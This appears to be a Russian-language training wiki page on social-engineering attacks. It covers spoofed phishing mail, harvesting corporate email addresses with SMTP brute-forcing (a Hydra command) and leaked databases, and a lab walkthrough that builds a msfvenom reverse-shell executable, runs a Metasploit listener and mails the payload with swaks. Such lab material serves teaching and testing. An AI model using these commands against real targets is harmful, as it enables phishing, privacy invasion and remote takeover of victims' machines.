?????? ?????

Пример 1.

Письмо от имени специалиста поддержки (с подменой отправителя) с требованием изменить учетные данные, ссылка ведет на нужный сайт.

Письма отображаются по-разному в разных клиентах, где-то скрывается реальный почтовый адрес.

Пример 2.

1. Для того, чтобы найти корпоративную почту конкретного сотрудника, нам нужно узнать маску электронных адресов данной компании.
2. После того, как мы находим маску, можем узнать корпоративные почты других сотрудников, например, с помощью перебора на SMTP-сервере.

На сайте компании найти почту для обратной связи, для того, чтобы определить маску электронного адреса. Затем перечень пользователей, которые представлены на сайте. Здесь нам нужны фамилия и имя.

Открываем сайт генерации почт Email Permutator+ и вводим имя, фамилию и домен компании.

Проверяем почту на существование

Также можно использовать Hydra (Windows, Linux), которая позволяет перебрать email-адреса на SMTP-сервере.

```
hydra -L userlist.txt -s 465 smtp.gmail.com smtp
```

Найденную почту можно проверить в слитых базах данных. Если - да, и ей можно воспользоваться, значит есть возможность получить доступ к внутренней информации компании и не только.

Ввиду последних событий большинство компаний по доставке еды были подвержены атаке: были слиты базы данных пользователей. Если искать среди этих баз, то можно узнать персональные данные сотрудника.

Эффективность техники измеряется в таких параметрах, как:

- Скорость
- Качество результатов

Улучшение качества

1. Повысить скорость за счет автоматизации процесса поиска корпоративных почт (например, hunter). Также скорость повышается за счет использования перебора почт на SMTP-сервере.
2. Повысить качество результатов за счет использования больших исходных данных, а также использования нескольких сервисов для поиска, проверки валидности с искомые данные.
3. Комбинирование сочетание методов поиска информации (например, не только с помощью слитых баз данных, а также с помощью открытых источников). Также следует комбинировать поиск информации с помощью скриптов и Telegram-ботов.

Пример 3

Стенд: Win10_Social.v3.7z (зеркала: Яндекс.Диск и OneDrive)

Особенности стенда

- После создания нужно открутить время на виртуалке назад на август 2024 года. Пример для -1 год:

```
cd C:\Program Files\Oracle\VirtualBox
VBoxManage modifyvm "Win10_Social" --biossystemtimeoffset -31536000000
```

- В сети должен присутствовать DHCP-сервер.
- Для запуска почтового сервера нужно минимум 500 МБ свободной памяти, поэтому на весь стенд нужно выделить минимум 3 ГБ оперативной памяти.
- В стенде есть пользователь Trevis с паролем: Qwerty123 Этот пользователь сильно ограничен в правах, он не может менять настройки системы и не имеет доступа к файлам других пользователей.
- Для контроля работы почтового сервера и бота зайти под Trevis, в диспетчере задач в расширенном режиме должен быть axigen.exe (почтовый сервер) и python.exe (бот).
- В сети с доступом интернету возможна очень медленная работа почтового сервера, а при отправке писем клиенты начнут отваливаться по таймауту. Для решения нужно увеличить время ожидания ответа от сервера, в swaks это делается добавлением ключа, например --timeout 3m.

Общий ход действий

1. При помощи `nmap` просканируйте сеть и найдите машину со стендом (обратите внимание, что в стенде включён брандмауэр и следовательно на ping он не откликается).
2. Просканируйте `nmap` его порты и убедитесь, что открыт SMTP-порт (25).
3. В минимальном случае достаточно отправить по почте специальную программу, которая после запуска считает содержимое файла и отправит его на внешний

ресурс. Однако более гибким будет решение, когда вы получаете полный доступ к системе жертвы, например через shell.
4. Поднимать listener на стороне жертвы не лучшее решение — могут сработать средства защиты, поэтому для задачи грамотней сразу использовать подключение к вашему внешнему серверу. Для данной задачи подойдёт фреймворк metasploit, например с нагрузками `windows/shell/reverse_tcp`, `windows/meterpreter/reverse_tcp` или т.п.
5. Для генерации исполняемого файла можно использовать утилиту `msfvenom` или команду `generate` в `msfconsole`.
6. Чтобы отправить письмо вам потребуется почтовый клиент, например можно воспользоваться уже установленной в Kali Linux консольной утилитой `swaks` Для справки выполните `man swaks`

Подробные подсказки

1. Пример команды msfvenom:
`msfvenom -p windows/shell/reverse_tcp LHOST=192.168.13.38 LPORT=4444 -f exe -o upd.exe`
Генерация происходит в текущую папку, LHOST - адрес для подключения
2. Чтобы поднять listener можно воспользоваться metasploit: запускаете `msfconsole`, указываете эксплойт `use exploit/multi/handler`, нагрузку (например `windows/shell/reverse_tcp`), ip прослушивания `set LHOST 192.168.13.38` (не забудьте указать ваш адрес или воспользуйтесь `0.0.0.0`) и запускаете эксплойт командой `exploit`.
3. Пример команды swaks:
`swaks --to mike@sandbox.local --from admin@sandbox.local --server 192.168.13.37 --attach @upd.exe`
4. При отправке письма обращайте внимание на корректность указания файла, если вы ошибётесь в пути или имени файла, то письмо всё равно отправится, но без файла. Если строчка логов, начинающаяся на `Content-Type: application/octet-stream` не содержит в себе имени файла, то значит в письме нет файла. Косвенным признаком наличия во вложении файла является большой лог работы утилиты (сотни строк) с неразборчивым текстом -- base64.
5. Вы можете проверить работоспособность вашей нагрузки воспользовавшись пользователем Trevis. У данного пользователя нет доступа к файлам пользователя Mike, но получение реверсивного shell'а через этого пользователя говорит о том, что у вас подготовлена корректная нагрузка.
6. Для доставки файла с нагрузкой к пользователю Trevis можно воспользоваться простым http-сервером, запущенном в Kali Linux: `python -m http.server`.
7. В стенде, в учебных целях, ведутся логи работы бота (`C:\logs\bot.log`), при реальных атаках подобных логов, естественно, не будет.
8. Отображение содержимого файла в консоли windows: more filename

---

Revision #6
Created 1 October 2025 16:54:05 by Admin
Updated 11 October 2025 10:47:16 by Admin